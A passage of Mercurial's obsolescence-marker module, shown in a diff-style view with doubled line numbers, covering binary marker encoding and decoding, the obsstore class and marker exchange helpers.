280 raise ValueError(b"':' and '\0' are forbidden in metadata key'")
279 if b'\0' in value:
281 if b'\0' in value:
280 raise ValueError(b"':' is forbidden in metadata value'")
282 raise ValueError(b"':' is forbidden in metadata value'")
281 return b'\0'.join([b'%s:%s' % (k, meta[k]) for k in sorted(meta)])
283 return b'\0'.join([b'%s:%s' % (k, meta[k]) for k in sorted(meta)])
282
284
283
285
284 def _fm0decodemeta(data):
286 def _fm0decodemeta(data):
285 """Return string to string dictionary from encoded version."""
287 """Return string to string dictionary from encoded version."""
286 d = {}
288 d = {}
287 for l in data.split(b'\0'):
289 for l in data.split(b'\0'):
288 if l:
290 if l:
289 key, value = l.split(b':', 1)
291 key, value = l.split(b':', 1)
290 d[key] = value
292 d[key] = value
291 return d
293 return d
292
294
293
295
294 ## Parsing and writing of version "1"
296 ## Parsing and writing of version "1"
295 #
297 #
296 # The header is followed by the markers. Each marker is made of:
298 # The header is followed by the markers. Each marker is made of:
297 #
299 #
298 # - uint32: total size of the marker (including this field)
300 # - uint32: total size of the marker (including this field)
299 #
301 #
300 # - float64: date in seconds since epoch
302 # - float64: date in seconds since epoch
301 #
303 #
302 # - int16: timezone offset in minutes
304 # - int16: timezone offset in minutes
303 #
305 #
304 # - uint16: a bit field. It is reserved for flags used in common
306 # - uint16: a bit field. It is reserved for flags used in common
305 # obsolete marker operations, to avoid repeated decoding of metadata
307 # obsolete marker operations, to avoid repeated decoding of metadata
306 # entries.
308 # entries.
307 #
309 #
308 # - uint8: number of successors "N", can be zero.
310 # - uint8: number of successors "N", can be zero.
309 #
311 #
310 # - uint8: number of parents "P", can be zero.
312 # - uint8: number of parents "P", can be zero.
311 #
313 #
312 # 0: parents data stored but no parent,
314 # 0: parents data stored but no parent,
313 # 1: one parent stored,
315 # 1: one parent stored,
314 # 2: two parents stored,
316 # 2: two parents stored,
315 # 3: no parent data stored
317 # 3: no parent data stored
316 #
318 #
317 # - uint8: number of metadata entries M
319 # - uint8: number of metadata entries M
318 #
320 #
319 # - 20 or 32 bytes: predecessor changeset identifier.
321 # - 20 or 32 bytes: predecessor changeset identifier.
320 #
322 #
321 # - N*(20 or 32) bytes: successors changesets identifiers.
323 # - N*(20 or 32) bytes: successors changesets identifiers.
322 #
324 #
323 # - P*(20 or 32) bytes: parents of the predecessors changesets.
325 # - P*(20 or 32) bytes: parents of the predecessors changesets.
324 #
326 #
325 # - M*(uint8, uint8): size of all metadata entries (key and value)
327 # - M*(uint8, uint8): size of all metadata entries (key and value)
326 #
328 #
327 # - remaining bytes: the metadata, each (key, value) pair after the other.
329 # - remaining bytes: the metadata, each (key, value) pair after the other.
328 _fm1version = 1
330 _fm1version = 1
329 _fm1fixed = b'>IdhHBBB20s'
331 _fm1fixed = b'>IdhHBBB20s'
330 _fm1nodesha1 = b'20s'
332 _fm1nodesha1 = b'20s'
331 _fm1nodesha256 = b'32s'
333 _fm1nodesha256 = b'32s'
332 _fm1nodesha1size = _calcsize(_fm1nodesha1)
334 _fm1nodesha1size = _calcsize(_fm1nodesha1)
333 _fm1nodesha256size = _calcsize(_fm1nodesha256)
335 _fm1nodesha256size = _calcsize(_fm1nodesha256)
334 _fm1fsize = _calcsize(_fm1fixed)
336 _fm1fsize = _calcsize(_fm1fixed)
335 _fm1parentnone = 3
337 _fm1parentnone = 3
336 _fm1parentshift = 14
338 _fm1parentshift = 14
337 _fm1parentmask = _fm1parentnone << _fm1parentshift
339 _fm1parentmask = _fm1parentnone << _fm1parentshift
338 _fm1metapair = b'BB'
340 _fm1metapair = b'BB'
339 _fm1metapairsize = _calcsize(_fm1metapair)
341 _fm1metapairsize = _calcsize(_fm1metapair)
340
342
341
343
342 def _fm1purereadmarkers(data, off, stop):
344 def _fm1purereadmarkers(data, off, stop):
343 # make some global constants local for performance
345 # make some global constants local for performance
344 noneflag = _fm1parentnone
346 noneflag = _fm1parentnone
345 sha2flag = usingsha256
347 sha2flag = usingsha256
346 sha1size = _fm1nodesha1size
348 sha1size = _fm1nodesha1size
347 sha2size = _fm1nodesha256size
349 sha2size = _fm1nodesha256size
348 sha1fmt = _fm1nodesha1
350 sha1fmt = _fm1nodesha1
349 sha2fmt = _fm1nodesha256
351 sha2fmt = _fm1nodesha256
350 metasize = _fm1metapairsize
352 metasize = _fm1metapairsize
351 metafmt = _fm1metapair
353 metafmt = _fm1metapair
352 fsize = _fm1fsize
354 fsize = _fm1fsize
353 unpack = _unpack
355 unpack = _unpack
354
356
355 # Loop on markers
357 # Loop on markers
356 ufixed = struct.Struct(_fm1fixed).unpack
358 ufixed = struct.Struct(_fm1fixed).unpack
357
359
358 while off < stop:
360 while off < stop:
359 # read fixed part
361 # read fixed part
360 o1 = off + fsize
362 o1 = off + fsize
361 t, secs, tz, flags, numsuc, numpar, nummeta, prec = ufixed(data[off:o1])
363 t, secs, tz, flags, numsuc, numpar, nummeta, prec = ufixed(data[off:o1])
362
364
363 if flags & sha2flag:
365 if flags & sha2flag:
364 # FIXME: prec was read as a SHA1, needs to be amended
366 # FIXME: prec was read as a SHA1, needs to be amended
365
367
366 # read 0 or more successors
368 # read 0 or more successors
367 if numsuc == 1:
369 if numsuc == 1:
368 o2 = o1 + sha2size
370 o2 = o1 + sha2size
369 sucs = (data[o1:o2],)
371 sucs = (data[o1:o2],)
370 else:
372 else:
371 o2 = o1 + sha2size * numsuc
373 o2 = o1 + sha2size * numsuc
372 sucs = unpack(sha2fmt * numsuc, data[o1:o2])
374 sucs = unpack(sha2fmt * numsuc, data[o1:o2])
373
375
374 # read parents
376 # read parents
375 if numpar == noneflag:
377 if numpar == noneflag:
376 o3 = o2
378 o3 = o2
377 parents = None
379 parents = None
378 elif numpar == 1:
380 elif numpar == 1:
379 o3 = o2 + sha2size
381 o3 = o2 + sha2size
380 parents = (data[o2:o3],)
382 parents = (data[o2:o3],)
381 else:
383 else:
382 o3 = o2 + sha2size * numpar
384 o3 = o2 + sha2size * numpar
383 parents = unpack(sha2fmt * numpar, data[o2:o3])
385 parents = unpack(sha2fmt * numpar, data[o2:o3])
384 else:
386 else:
385 # read 0 or more successors
387 # read 0 or more successors
386 if numsuc == 1:
388 if numsuc == 1:
387 o2 = o1 + sha1size
389 o2 = o1 + sha1size
388 sucs = (data[o1:o2],)
390 sucs = (data[o1:o2],)
389 else:
391 else:
390 o2 = o1 + sha1size * numsuc
392 o2 = o1 + sha1size * numsuc
391 sucs = unpack(sha1fmt * numsuc, data[o1:o2])
393 sucs = unpack(sha1fmt * numsuc, data[o1:o2])
392
394
393 # read parents
395 # read parents
394 if numpar == noneflag:
396 if numpar == noneflag:
395 o3 = o2
397 o3 = o2
396 parents = None
398 parents = None
397 elif numpar == 1:
399 elif numpar == 1:
398 o3 = o2 + sha1size
400 o3 = o2 + sha1size
399 parents = (data[o2:o3],)
401 parents = (data[o2:o3],)
400 else:
402 else:
401 o3 = o2 + sha1size * numpar
403 o3 = o2 + sha1size * numpar
402 parents = unpack(sha1fmt * numpar, data[o2:o3])
404 parents = unpack(sha1fmt * numpar, data[o2:o3])
403
405
404 # read metadata
406 # read metadata
405 off = o3 + metasize * nummeta
407 off = o3 + metasize * nummeta
406 metapairsize = unpack(b'>' + (metafmt * nummeta), data[o3:off])
408 metapairsize = unpack(b'>' + (metafmt * nummeta), data[o3:off])
407 metadata = []
409 metadata = []
408 for idx in pycompat.xrange(0, len(metapairsize), 2):
410 for idx in pycompat.xrange(0, len(metapairsize), 2):
409 o1 = off + metapairsize[idx]
411 o1 = off + metapairsize[idx]
410 o2 = o1 + metapairsize[idx + 1]
412 o2 = o1 + metapairsize[idx + 1]
411 metadata.append((data[off:o1], data[o1:o2]))
413 metadata.append((data[off:o1], data[o1:o2]))
412 off = o2
414 off = o2
413
415
414 yield (prec, sucs, flags, tuple(metadata), (secs, tz * 60), parents)
416 yield (prec, sucs, flags, tuple(metadata), (secs, tz * 60), parents)
415
417
416
418
417 def _fm1encodeonemarker(marker):
419 def _fm1encodeonemarker(marker):
418 pre, sucs, flags, metadata, date, parents = marker
420 pre, sucs, flags, metadata, date, parents = marker
419 # determine node size
421 # determine node size
420 _fm1node = _fm1nodesha1
422 _fm1node = _fm1nodesha1
421 if flags & usingsha256:
423 if flags & usingsha256:
422 _fm1node = _fm1nodesha256
424 _fm1node = _fm1nodesha256
423 numsuc = len(sucs)
425 numsuc = len(sucs)
424 numextranodes = numsuc
426 numextranodes = numsuc
425 if parents is None:
427 if parents is None:
426 numpar = _fm1parentnone
428 numpar = _fm1parentnone
427 else:
429 else:
428 numpar = len(parents)
430 numpar = len(parents)
429 numextranodes += numpar
431 numextranodes += numpar
430 formatnodes = _fm1node * numextranodes
432 formatnodes = _fm1node * numextranodes
431 formatmeta = _fm1metapair * len(metadata)
433 formatmeta = _fm1metapair * len(metadata)
432 format = _fm1fixed + formatnodes + formatmeta
434 format = _fm1fixed + formatnodes + formatmeta
433 # tz is stored in minutes so we divide by 60
435 # tz is stored in minutes so we divide by 60
434 tz = date[1] // 60
436 tz = date[1] // 60
435 data = [None, date[0], tz, flags, numsuc, numpar, len(metadata), pre]
437 data = [None, date[0], tz, flags, numsuc, numpar, len(metadata), pre]
436 data.extend(sucs)
438 data.extend(sucs)
437 if parents is not None:
439 if parents is not None:
438 data.extend(parents)
440 data.extend(parents)
439 totalsize = _calcsize(format)
441 totalsize = _calcsize(format)
440 for key, value in metadata:
442 for key, value in metadata:
441 lk = len(key)
443 lk = len(key)
442 lv = len(value)
444 lv = len(value)
443 if lk > 255:
445 if lk > 255:
444 msg = (
446 msg = (
445 b'obsstore metadata key cannot be longer than 255 bytes'
447 b'obsstore metadata key cannot be longer than 255 bytes'
446 b' (key "%s" is %u bytes)'
448 b' (key "%s" is %u bytes)'
447 ) % (key, lk)
449 ) % (key, lk)
448 raise error.ProgrammingError(msg)
450 raise error.ProgrammingError(msg)
449 if lv > 255:
451 if lv > 255:
450 msg = (
452 msg = (
451 b'obsstore metadata value cannot be longer than 255 bytes'
453 b'obsstore metadata value cannot be longer than 255 bytes'
452 b' (value "%s" for key "%s" is %u bytes)'
454 b' (value "%s" for key "%s" is %u bytes)'
453 ) % (value, key, lv)
455 ) % (value, key, lv)
454 raise error.ProgrammingError(msg)
456 raise error.ProgrammingError(msg)
455 data.append(lk)
457 data.append(lk)
456 data.append(lv)
458 data.append(lv)
457 totalsize += lk + lv
459 totalsize += lk + lv
458 data[0] = totalsize
460 data[0] = totalsize
459 data = [_pack(format, *data)]
461 data = [_pack(format, *data)]
460 for key, value in metadata:
462 for key, value in metadata:
461 data.append(key)
463 data.append(key)
462 data.append(value)
464 data.append(value)
463 return b''.join(data)
465 return b''.join(data)
464
466
465
467
466 def _fm1readmarkers(data, off, stop):
468 def _fm1readmarkers(data, off, stop):
467 native = getattr(parsers, 'fm1readmarkers', None)
469 native = getattr(parsers, 'fm1readmarkers', None)
468 if not native:
470 if not native:
469 return _fm1purereadmarkers(data, off, stop)
471 return _fm1purereadmarkers(data, off, stop)
470 return native(data, off, stop)
472 return native(data, off, stop)
471
473
472
474
473 # mapping to read/write various marker formats
475 # mapping to read/write various marker formats
474 # <version> -> (decoder, encoder)
476 # <version> -> (decoder, encoder)
475 formats = {
477 formats = {
476 _fm0version: (_fm0readmarkers, _fm0encodeonemarker),
478 _fm0version: (_fm0readmarkers, _fm0encodeonemarker),
477 _fm1version: (_fm1readmarkers, _fm1encodeonemarker),
479 _fm1version: (_fm1readmarkers, _fm1encodeonemarker),
478 }
480 }
479
481
480
482
481 def _readmarkerversion(data):
483 def _readmarkerversion(data):
482 return _unpack(b'>B', data[0:1])[0]
484 return _unpack(b'>B', data[0:1])[0]
483
485
484
486
485 @util.nogc
487 @util.nogc
486 def _readmarkers(data, off=None, stop=None):
488 def _readmarkers(data, off=None, stop=None):
487 """Read and enumerate markers from raw data"""
489 """Read and enumerate markers from raw data"""
488 diskversion = _readmarkerversion(data)
490 diskversion = _readmarkerversion(data)
489 if not off:
491 if not off:
490 off = 1 # skip 1 byte version number
492 off = 1 # skip 1 byte version number
491 if stop is None:
493 if stop is None:
492 stop = len(data)
494 stop = len(data)
493 if diskversion not in formats:
495 if diskversion not in formats:
494 msg = _(b'parsing obsolete marker: unknown version %r') % diskversion
496 msg = _(b'parsing obsolete marker: unknown version %r') % diskversion
495 raise error.UnknownVersion(msg, version=diskversion)
497 raise error.UnknownVersion(msg, version=diskversion)
496 return diskversion, formats[diskversion][0](data, off, stop)
498 return diskversion, formats[diskversion][0](data, off, stop)
497
499
498
500
499 def encodeheader(version=_fm0version):
501 def encodeheader(version=_fm0version):
500 return _pack(b'>B', version)
502 return _pack(b'>B', version)
501
503
502
504
503 def encodemarkers(markers, addheader=False, version=_fm0version):
505 def encodemarkers(markers, addheader=False, version=_fm0version):
504 # Kept separate from flushmarkers(), it will be reused for
506 # Kept separate from flushmarkers(), it will be reused for
505 # markers exchange.
507 # markers exchange.
506 encodeone = formats[version][1]
508 encodeone = formats[version][1]
507 if addheader:
509 if addheader:
508 yield encodeheader(version)
510 yield encodeheader(version)
509 for marker in markers:
511 for marker in markers:
510 yield encodeone(marker)
512 yield encodeone(marker)
511
513
512
514
513 @util.nogc
515 @util.nogc
514 def _addsuccessors(successors, markers):
516 def _addsuccessors(successors, markers):
515 for mark in markers:
517 for mark in markers:
516 successors.setdefault(mark[0], set()).add(mark)
518 successors.setdefault(mark[0], set()).add(mark)
517
519
518
520
519 @util.nogc
521 @util.nogc
520 def _addpredecessors(predecessors, markers):
522 def _addpredecessors(predecessors, markers):
521 for mark in markers:
523 for mark in markers:
522 for suc in mark[1]:
524 for suc in mark[1]:
523 predecessors.setdefault(suc, set()).add(mark)
525 predecessors.setdefault(suc, set()).add(mark)
524
526
525
527
526 @util.nogc
528 @util.nogc
527 def _addchildren(children, markers):
529 def _addchildren(children, markers):
528 for mark in markers:
530 for mark in markers:
529 parents = mark[5]
531 parents = mark[5]
530 if parents is not None:
532 if parents is not None:
531 for p in parents:
533 for p in parents:
532 children.setdefault(p, set()).add(mark)
534 children.setdefault(p, set()).add(mark)
533
535
534
536
535 def _checkinvalidmarkers(markers):
537 def _checkinvalidmarkers(markers):
536 """search for marker with invalid data and raise error if needed
538 """search for marker with invalid data and raise error if needed
537
539
538 Exist as a separated function to allow the evolve extension for a more
540 Exist as a separated function to allow the evolve extension for a more
539 subtle handling.
541 subtle handling.
540 """
542 """
541 for mark in markers:
543 for mark in markers:
542 if node.nullid in mark[1]:
544 if node.nullid in mark[1]:
543 raise error.Abort(
545 raise error.Abort(
544 _(
546 _(
545 b'bad obsolescence marker detected: '
547 b'bad obsolescence marker detected: '
546 b'invalid successors nullid'
548 b'invalid successors nullid'
547 )
549 )
548 )
550 )
549
551
550
552
551 class obsstore(object):
553 class obsstore(object):
552 """Store obsolete markers
554 """Store obsolete markers
553
555
554 Markers can be accessed with two mappings:
556 Markers can be accessed with two mappings:
555 - predecessors[x] -> set(markers on predecessors edges of x)
557 - predecessors[x] -> set(markers on predecessors edges of x)
556 - successors[x] -> set(markers on successors edges of x)
558 - successors[x] -> set(markers on successors edges of x)
557 - children[x] -> set(markers on predecessors edges of children(x)
559 - children[x] -> set(markers on predecessors edges of children(x)
558 """
560 """
559
561
560 fields = (b'prec', b'succs', b'flag', b'meta', b'date', b'parents')
562 fields = (b'prec', b'succs', b'flag', b'meta', b'date', b'parents')
561 # prec: nodeid, predecessors changesets
563 # prec: nodeid, predecessors changesets
562 # succs: tuple of nodeid, successor changesets (0-N length)
564 # succs: tuple of nodeid, successor changesets (0-N length)
563 # flag: integer, flag field carrying modifier for the markers (see doc)
565 # flag: integer, flag field carrying modifier for the markers (see doc)
564 # meta: binary blob in UTF-8, encoded metadata dictionary
566 # meta: binary blob in UTF-8, encoded metadata dictionary
565 # date: (float, int) tuple, date of marker creation
567 # date: (float, int) tuple, date of marker creation
566 # parents: (tuple of nodeid) or None, parents of predecessors
568 # parents: (tuple of nodeid) or None, parents of predecessors
567 # None is used when no data has been recorded
569 # None is used when no data has been recorded
568
570
569 def __init__(self, svfs, defaultformat=_fm1version, readonly=False):
571 def __init__(self, svfs, defaultformat=_fm1version, readonly=False):
570 # caches for various obsolescence related cache
572 # caches for various obsolescence related cache
571 self.caches = {}
573 self.caches = {}
572 self.svfs = svfs
574 self.svfs = svfs
573 self._defaultformat = defaultformat
575 self._defaultformat = defaultformat
574 self._readonly = readonly
576 self._readonly = readonly
575
577
576 def __iter__(self):
578 def __iter__(self):
577 return iter(self._all)
579 return iter(self._all)
578
580
579 def __len__(self):
581 def __len__(self):
580 return len(self._all)
582 return len(self._all)
581
583
582 def __nonzero__(self):
584 def __nonzero__(self):
583 if not self._cached('_all'):
585 if not self._cached('_all'):
584 try:
586 try:
585 return self.svfs.stat(b'obsstore').st_size > 1
587 return self.svfs.stat(b'obsstore').st_size > 1
586 except OSError as inst:
588 except OSError as inst:
587 if inst.errno != errno.ENOENT:
589 if inst.errno != errno.ENOENT:
588 raise
590 raise
589 # just build an empty _all list if no obsstore exists, which
591 # just build an empty _all list if no obsstore exists, which
590 # avoids further stat() syscalls
592 # avoids further stat() syscalls
591 return bool(self._all)
593 return bool(self._all)
592
594
593 __bool__ = __nonzero__
595 __bool__ = __nonzero__
594
596
595 @property
597 @property
596 def readonly(self):
598 def readonly(self):
597 """True if marker creation is disabled
599 """True if marker creation is disabled
598
600
599 Remove me in the future when obsolete marker is always on."""
601 Remove me in the future when obsolete marker is always on."""
600 return self._readonly
602 return self._readonly
601
603
602 def create(
604 def create(
603 self,
605 self,
604 transaction,
606 transaction,
605 prec,
607 prec,
606 succs=(),
608 succs=(),
607 flag=0,
609 flag=0,
608 parents=None,
610 parents=None,
609 date=None,
611 date=None,
610 metadata=None,
612 metadata=None,
611 ui=None,
613 ui=None,
612 ):
614 ):
613 """obsolete: add a new obsolete marker
615 """obsolete: add a new obsolete marker
614
616
615 * ensuring it is hashable
617 * ensuring it is hashable
616 * check mandatory metadata
618 * check mandatory metadata
617 * encode metadata
619 * encode metadata
618
620
619 If you are a human writing code creating marker you want to use the
621 If you are a human writing code creating marker you want to use the
620 `createmarkers` function in this module instead.
622 `createmarkers` function in this module instead.
621
623
622 return True if a new marker have been added, False if the markers
624 return True if a new marker have been added, False if the markers
623 already existed (no op).
625 already existed (no op).
624 """
626 """
625 if metadata is None:
627 if metadata is None:
626 metadata = {}
628 metadata = {}
627 if date is None:
629 if date is None:
628 if b'date' in metadata:
630 if b'date' in metadata:
629 # as a courtesy for out-of-tree extensions
631 # as a courtesy for out-of-tree extensions
630 date = dateutil.parsedate(metadata.pop(b'date'))
632 date = dateutil.parsedate(metadata.pop(b'date'))
631 elif ui is not None:
633 elif ui is not None:
632 date = ui.configdate(b'devel', b'default-date')
634 date = ui.configdate(b'devel', b'default-date')
633 if date is None:
635 if date is None:
634 date = dateutil.makedate()
636 date = dateutil.makedate()
635 else:
637 else:
636 date = dateutil.makedate()
638 date = dateutil.makedate()
637 if len(prec) != 20:
639 if len(prec) != 20:
638 raise ValueError(prec)
640 raise ValueError(prec)
639 for succ in succs:
641 for succ in succs:
640 if len(succ) != 20:
642 if len(succ) != 20:
641 raise ValueError(succ)
643 raise ValueError(succ)
642 if prec in succs:
644 if prec in succs:
643 raise ValueError(
645 raise ValueError(
644 'in-marker cycle with %s' % pycompat.sysstr(node.hex(prec))
646 'in-marker cycle with %s' % pycompat.sysstr(node.hex(prec))
645 )
647 )
646
648
647 metadata = tuple(sorted(pycompat.iteritems(metadata)))
649 metadata = tuple(sorted(pycompat.iteritems(metadata)))
648 for k, v in metadata:
650 for k, v in metadata:
649 try:
651 try:
650 # might be better to reject non-ASCII keys
652 # might be better to reject non-ASCII keys
651 k.decode('utf-8')
653 k.decode('utf-8')
652 v.decode('utf-8')
654 v.decode('utf-8')
653 except UnicodeDecodeError:
655 except UnicodeDecodeError:
654 raise error.ProgrammingError(
656 raise error.ProgrammingError(
655 b'obsstore metadata must be valid UTF-8 sequence '
657 b'obsstore metadata must be valid UTF-8 sequence '
656 b'(key = %r, value = %r)'
658 b'(key = %r, value = %r)'
657 % (pycompat.bytestr(k), pycompat.bytestr(v))
659 % (pycompat.bytestr(k), pycompat.bytestr(v))
658 )
660 )
659
661
660 marker = (bytes(prec), tuple(succs), int(flag), metadata, date, parents)
662 marker = (bytes(prec), tuple(succs), int(flag), metadata, date, parents)
661 return bool(self.add(transaction, [marker]))
663 return bool(self.add(transaction, [marker]))
662
664
663 def add(self, transaction, markers):
665 def add(self, transaction, markers):
664 """Add new markers to the store
666 """Add new markers to the store
665
667
666 Take care of filtering duplicate.
668 Take care of filtering duplicate.
667 Return the number of new marker."""
669 Return the number of new marker."""
668 if self._readonly:
670 if self._readonly:
669 raise error.Abort(
671 raise error.Abort(
670 _(b'creating obsolete markers is not enabled on this repo')
672 _(b'creating obsolete markers is not enabled on this repo')
671 )
673 )
672 known = set()
674 known = set()
673 getsuccessors = self.successors.get
675 getsuccessors = self.successors.get
674 new = []
676 new = []
675 for m in markers:
677 for m in markers:
676 if m not in getsuccessors(m[0], ()) and m not in known:
678 if m not in getsuccessors(m[0], ()) and m not in known:
677 known.add(m)
679 known.add(m)
678 new.append(m)
680 new.append(m)
679 if new:
681 if new:
680 f = self.svfs(b'obsstore', b'ab')
682 f = self.svfs(b'obsstore', b'ab')
681 try:
683 try:
682 offset = f.tell()
684 offset = f.tell()
683 transaction.add(b'obsstore', offset)
685 transaction.add(b'obsstore', offset)
684 # offset == 0: new file - add the version header
686 # offset == 0: new file - add the version header
685 data = b''.join(encodemarkers(new, offset == 0, self._version))
687 data = b''.join(encodemarkers(new, offset == 0, self._version))
686 f.write(data)
688 f.write(data)
687 finally:
689 finally:
688 # XXX: f.close() == filecache invalidation == obsstore rebuilt.
690 # XXX: f.close() == filecache invalidation == obsstore rebuilt.
689 # call 'filecacheentry.refresh()' here
691 # call 'filecacheentry.refresh()' here
690 f.close()
692 f.close()
691 addedmarkers = transaction.changes.get(b'obsmarkers')
693 addedmarkers = transaction.changes.get(b'obsmarkers')
692 if addedmarkers is not None:
694 if addedmarkers is not None:
693 addedmarkers.update(new)
695 addedmarkers.update(new)
694 self._addmarkers(new, data)
696 self._addmarkers(new, data)
695 # new marker *may* have changed several set. invalidate the cache.
697 # new marker *may* have changed several set. invalidate the cache.
696 self.caches.clear()
698 self.caches.clear()
697 # records the number of new markers for the transaction hooks
699 # records the number of new markers for the transaction hooks
698 previous = int(transaction.hookargs.get(b'new_obsmarkers', b'0'))
700 previous = int(transaction.hookargs.get(b'new_obsmarkers', b'0'))
699 transaction.hookargs[b'new_obsmarkers'] = b'%d' % (previous + len(new))
701 transaction.hookargs[b'new_obsmarkers'] = b'%d' % (previous + len(new))
700 return len(new)
702 return len(new)
701
703
702 def mergemarkers(self, transaction, data):
704 def mergemarkers(self, transaction, data):
703 """merge a binary stream of markers inside the obsstore
705 """merge a binary stream of markers inside the obsstore
704
706
705 Returns the number of new markers added."""
707 Returns the number of new markers added."""
706 version, markers = _readmarkers(data)
708 version, markers = _readmarkers(data)
707 return self.add(transaction, markers)
709 return self.add(transaction, markers)
708
710
709 @propertycache
711 @propertycache
710 def _data(self):
712 def _data(self):
711 return self.svfs.tryread(b'obsstore')
713 return self.svfs.tryread(b'obsstore')
712
714
713 @propertycache
715 @propertycache
714 def _version(self):
716 def _version(self):
715 if len(self._data) >= 1:
717 if len(self._data) >= 1:
716 return _readmarkerversion(self._data)
718 return _readmarkerversion(self._data)
717 else:
719 else:
718 return self._defaultformat
720 return self._defaultformat
719
721
720 @propertycache
722 @propertycache
721 def _all(self):
723 def _all(self):
722 data = self._data
724 data = self._data
723 if not data:
725 if not data:
724 return []
726 return []
725 self._version, markers = _readmarkers(data)
727 self._version, markers = _readmarkers(data)
726 markers = list(markers)
728 markers = list(markers)
727 _checkinvalidmarkers(markers)
729 _checkinvalidmarkers(markers)
728 return markers
730 return markers
729
731
730 @propertycache
732 @propertycache
731 def successors(self):
733 def successors(self):
732 successors = {}
734 successors = {}
733 _addsuccessors(successors, self._all)
735 _addsuccessors(successors, self._all)
734 return successors
736 return successors
735
737
736 @propertycache
738 @propertycache
737 def predecessors(self):
739 def predecessors(self):
738 predecessors = {}
740 predecessors = {}
739 _addpredecessors(predecessors, self._all)
741 _addpredecessors(predecessors, self._all)
740 return predecessors
742 return predecessors
741
743
742 @propertycache
744 @propertycache
743 def children(self):
745 def children(self):
744 children = {}
746 children = {}
745 _addchildren(children, self._all)
747 _addchildren(children, self._all)
746 return children
748 return children
747
749
748 def _cached(self, attr):
750 def _cached(self, attr):
749 return attr in self.__dict__
751 return attr in self.__dict__
750
752
751 def _addmarkers(self, markers, rawdata):
753 def _addmarkers(self, markers, rawdata):
752 markers = list(markers) # to allow repeated iteration
754 markers = list(markers) # to allow repeated iteration
753 self._data = self._data + rawdata
755 self._data = self._data + rawdata
754 self._all.extend(markers)
756 self._all.extend(markers)
755 if self._cached('successors'):
757 if self._cached('successors'):
756 _addsuccessors(self.successors, markers)
758 _addsuccessors(self.successors, markers)
757 if self._cached('predecessors'):
759 if self._cached('predecessors'):
758 _addpredecessors(self.predecessors, markers)
760 _addpredecessors(self.predecessors, markers)
759 if self._cached('children'):
761 if self._cached('children'):
760 _addchildren(self.children, markers)
762 _addchildren(self.children, markers)
761 _checkinvalidmarkers(markers)
763 _checkinvalidmarkers(markers)
762
764
763 def relevantmarkers(self, nodes):
765 def relevantmarkers(self, nodes):
764 """return a set of all obsolescence markers relevant to a set of nodes.
766 """return a set of all obsolescence markers relevant to a set of nodes.
765
767
766 "relevant" to a set of nodes mean:
768 "relevant" to a set of nodes mean:
767
769
768 - marker that use this changeset as successor
770 - marker that use this changeset as successor
769 - prune marker of direct children on this changeset
771 - prune marker of direct children on this changeset
770 - recursive application of the two rules on predecessors of these
772 - recursive application of the two rules on predecessors of these
771 markers
773 markers
772
774
773 It is a set so you cannot rely on order."""
775 It is a set so you cannot rely on order."""
774
776
775 pendingnodes = set(nodes)
777 pendingnodes = set(nodes)
776 seenmarkers = set()
778 seenmarkers = set()
777 seennodes = set(pendingnodes)
779 seennodes = set(pendingnodes)
778 precursorsmarkers = self.predecessors
780 precursorsmarkers = self.predecessors
779 succsmarkers = self.successors
781 succsmarkers = self.successors
780 children = self.children
782 children = self.children
781 while pendingnodes:
783 while pendingnodes:
782 direct = set()
784 direct = set()
783 for current in pendingnodes:
785 for current in pendingnodes:
784 direct.update(precursorsmarkers.get(current, ()))
786 direct.update(precursorsmarkers.get(current, ()))
785 pruned = [m for m in children.get(current, ()) if not m[1]]
787 pruned = [m for m in children.get(current, ()) if not m[1]]
786 direct.update(pruned)
788 direct.update(pruned)
787 pruned = [m for m in succsmarkers.get(current, ()) if not m[1]]
789 pruned = [m for m in succsmarkers.get(current, ()) if not m[1]]
788 direct.update(pruned)
790 direct.update(pruned)
789 direct -= seenmarkers
791 direct -= seenmarkers
790 pendingnodes = {m[0] for m in direct}
792 pendingnodes = {m[0] for m in direct}
791 seenmarkers |= direct
793 seenmarkers |= direct
792 pendingnodes -= seennodes
794 pendingnodes -= seennodes
793 seennodes |= pendingnodes
795 seennodes |= pendingnodes
794 return seenmarkers
796 return seenmarkers
795
797
796
798
797 def makestore(ui, repo):
799 def makestore(ui, repo):
798 """Create an obsstore instance from a repo."""
800 """Create an obsstore instance from a repo."""
799 # read default format for new obsstore.
801 # read default format for new obsstore.
800 # developer config: format.obsstore-version
802 # developer config: format.obsstore-version
801 defaultformat = ui.configint(b'format', b'obsstore-version')
803 defaultformat = ui.configint(b'format', b'obsstore-version')
802 # rely on obsstore class default when possible.
804 # rely on obsstore class default when possible.
803 kwargs = {}
805 kwargs = {}
804 if defaultformat is not None:
806 if defaultformat is not None:
805 kwargs['defaultformat'] = defaultformat
807 kwargs['defaultformat'] = defaultformat
806 readonly = not isenabled(repo, createmarkersopt)
808 readonly = not isenabled(repo, createmarkersopt)
807 store = obsstore(repo.svfs, readonly=readonly, **kwargs)
809 store = obsstore(repo.svfs, readonly=readonly, **kwargs)
808 if store and readonly:
810 if store and readonly:
809 ui.warn(
811 ui.warn(
810 _(b'obsolete feature not enabled but %i markers found!\n')
812 _(b'obsolete feature not enabled but %i markers found!\n')
811 % len(list(store))
813 % len(list(store))
812 )
814 )
813 return store
815 return store
814
816
815
817
816 def commonversion(versions):
818 def commonversion(versions):
817 """Return the newest version listed in both versions and our local formats.
819 """Return the newest version listed in both versions and our local formats.
818
820
819 Returns None if no common version exists.
821 Returns None if no common version exists.
820 """
822 """
821 versions.sort(reverse=True)
823 versions.sort(reverse=True)
822 # search for highest version known on both side
824 # search for highest version known on both side
823 for v in versions:
825 for v in versions:
824 if v in formats:
826 if v in formats:
825 return v
827 return v
826 return None
828 return None
827
829
828
830
829 # arbitrary picked to fit into 8K limit from HTTP server
831 # arbitrary picked to fit into 8K limit from HTTP server
830 # you have to take in account:
832 # you have to take in account:
831 # - the version header
833 # - the version header
832 # - the base85 encoding
834 # - the base85 encoding
833 _maxpayload = 5300
835 _maxpayload = 5300
834
836
835
837
836 def _pushkeyescape(markers):
838 def _pushkeyescape(markers):
837 """encode markers into a dict suitable for pushkey exchange
839 """encode markers into a dict suitable for pushkey exchange
838
840
839 - binary data is base85 encoded
841 - binary data is base85 encoded
840 - split in chunks smaller than 5300 bytes"""
842 - split in chunks smaller than 5300 bytes"""
841 keys = {}
843 keys = {}
842 parts = []
844 parts = []
843 currentlen = _maxpayload * 2 # ensure we create a new part
845 currentlen = _maxpayload * 2 # ensure we create a new part
844 for marker in markers:
846 for marker in markers:
845 nextdata = _fm0encodeonemarker(marker)
847 nextdata = _fm0encodeonemarker(marker)
846 if len(nextdata) + currentlen > _maxpayload:
848 if len(nextdata) + currentlen > _maxpayload:
847 currentpart = []
